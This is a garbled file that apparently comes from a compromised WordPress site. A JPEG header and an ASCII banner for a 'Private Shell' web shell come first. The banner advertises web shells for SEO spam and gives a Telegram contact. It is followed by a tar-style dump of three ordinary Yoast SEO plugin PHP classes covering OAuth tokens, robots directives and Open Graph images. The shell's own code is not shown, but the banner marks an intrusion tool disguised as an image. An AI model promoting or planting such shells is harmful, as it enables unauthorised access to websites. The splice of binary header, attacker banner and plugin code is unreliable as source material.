����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
oauth/oauth-token.php 0000666 00000006220 15220627547 0010651 0 ustar 00 <?php
namespace Yoast\WP\SEO\Values\OAuth;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface;
/**
* Class OAuth_Token
*/
class OAuth_Token {
/**
* The access token.
*
* @var string
*/
public $access_token;
/**
* The refresh token.
*
* @var string
*/
public $refresh_token;
/**
* The expiration date.
*
* @var int
*/
public $expires;
/**
* Whether or not the token has expired.
*
* @var bool
*/
public $has_expired;
/**
* The timestamp at which the token was created.
*
* @var int
*/
public $created_at;
/**
* The number of times we've gotten an error trying to refresh this token.
*
* @var int
*/
public $error_count;
/**
* OAuth_Token constructor.
*
* @param string $access_token The access token.
* @param string $refresh_token The refresh token.
* @param int $expires The date and time at which the token will expire.
* @param bool $has_expired Whether or not the token has expired.
* @param int $created_at The timestamp of when the token was created.
* @param int $error_count The number of times we've gotten an error trying to refresh this token.
*
* @throws Empty_Property_Exception Exception thrown if a token property is empty.
*/
public function __construct( $access_token, $refresh_token, $expires, $has_expired, $created_at, $error_count = 0 ) {
if ( empty( $access_token ) ) {
throw new Empty_Property_Exception( 'access_token' );
}
$this->access_token = $access_token;
if ( empty( $refresh_token ) ) {
throw new Empty_Property_Exception( 'refresh_token' );
}
$this->refresh_token = $refresh_token;
if ( empty( $expires ) ) {
throw new Empty_Property_Exception( 'expires' );
}
$this->expires = $expires;
if ( $has_expired === null ) {
throw new Empty_Property_Exception( 'has_expired' );
}
$this->has_expired = $has_expired;
$this->created_at = $created_at;
$this->error_count = $error_count;
}
/**
* Creates a new instance based on the passed response.
*
* @param AccessTokenInterface $response The response object to create a new instance from.
*
* @return OAuth_Token The token object.
*
* @throws Empty_Property_Exception Exception thrown if a token property is empty.
*/
public static function from_response( AccessTokenInterface $response ) {
return new self(
$response->getToken(),
$response->getRefreshToken(),
$response->getExpires(),
$response->hasExpired(),
\time()
);
}
/**
* Determines whether or not the token has expired.
*
* @return bool Whether or not the token has expired.
*/
public function has_expired() {
return ( \time() >= $this->expires ) || $this->has_expired === true;
}
/**
* Converts the object to an array.
*
* @return array The converted object.
*/
public function to_array() {
return [
'access_token' => $this->access_token,
'refresh_token' => $this->refresh_token,
'expires' => $this->expires,
'has_expired' => $this->has_expired(),
'created_at' => $this->created_at,
'error_count' => $this->error_count,
];
}
}
robots/user-agent.php 0000666 00000003226 15220627547 0010660 0 ustar 00 <?php
namespace Yoast\WP\SEO\Values\Robots;
/**
* Class Directive
*/
class User_Agent {
/**
* The user agent identifier.
*
* @var string
*/
private $user_agent;
/**
* All directives that are allowed for this user agent.
*
* @var Directive
*/
private $allow_directive;
/**
* All directives that are disallowed for this user agent.
*
* @var Directive
*/
private $disallow_directive;
/**
* Constructor of the user agent value object.
*
* @param string $user_agent The user agent identifier.
*/
public function __construct( $user_agent ) {
$this->user_agent = $user_agent;
$this->allow_directive = new Directive();
$this->disallow_directive = new Directive();
}
/**
* Gets the user agent identifier.
*
* @return string
*/
public function get_user_agent() {
return $this->user_agent;
}
/**
* Adds a path to the directive object.
*
* @param string $path The path to add to the disallow directive.
*
* @return void
*/
public function add_disallow_directive( $path ) {
$this->disallow_directive->add_path( $path );
}
/**
* Adds a path to the directive object.
*
* @param string $path The path to add to the allow directive.
*
* @return void
*/
public function add_allow_directive( $path ) {
$this->allow_directive->add_path( $path );
}
/**
* Gets all disallow paths for this user agent.
*
* @return array
*/
public function get_disallow_paths() {
return $this->disallow_directive->get_paths();
}
/**
* Gets all sallow paths for this user agent.
*
* @return array
*/
public function get_allow_paths() {
return $this->allow_directive->get_paths();
}
}
open-graph/images.php 0000666 00000002232 15220627547 0010577 0 ustar 00 <?php
namespace Yoast\WP\SEO\Values\Open_Graph;
use Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper as Open_Graph_Image_Helper;
use Yoast\WP\SEO\Values\Images as Base_Images;
/**
* Value object for the Open Graph Images.
*/
class Images extends Base_Images {
/**
* The Open Graph image helper.
*
* @var Open_Graph_Image_Helper
*/
protected $open_graph_image;
/**
* Sets the helpers.
*
* @required
*
* @codeCoverageIgnore - Is handled by DI-container.
*
* @param Open_Graph_Image_Helper $open_graph_image Image helper for Open Graph.
*
* @return void
*/
public function set_helpers( Open_Graph_Image_Helper $open_graph_image ) {
$this->open_graph_image = $open_graph_image;
}
/**
* Outputs the images.
*
* @codeCoverageIgnore - The method is empty, nothing to test.
*
* @return void
*/
public function show() {}
/**
* Adds an image to the list by image ID.
*
* @param int $image_id The image ID to add.
*
* @return void
*/
public function add_image_by_id( $image_id ) {
$attachment = $this->open_graph_image->get_image_by_id( $image_id );
if ( $attachment ) {
$this->add_image( $attachment );
}
}
}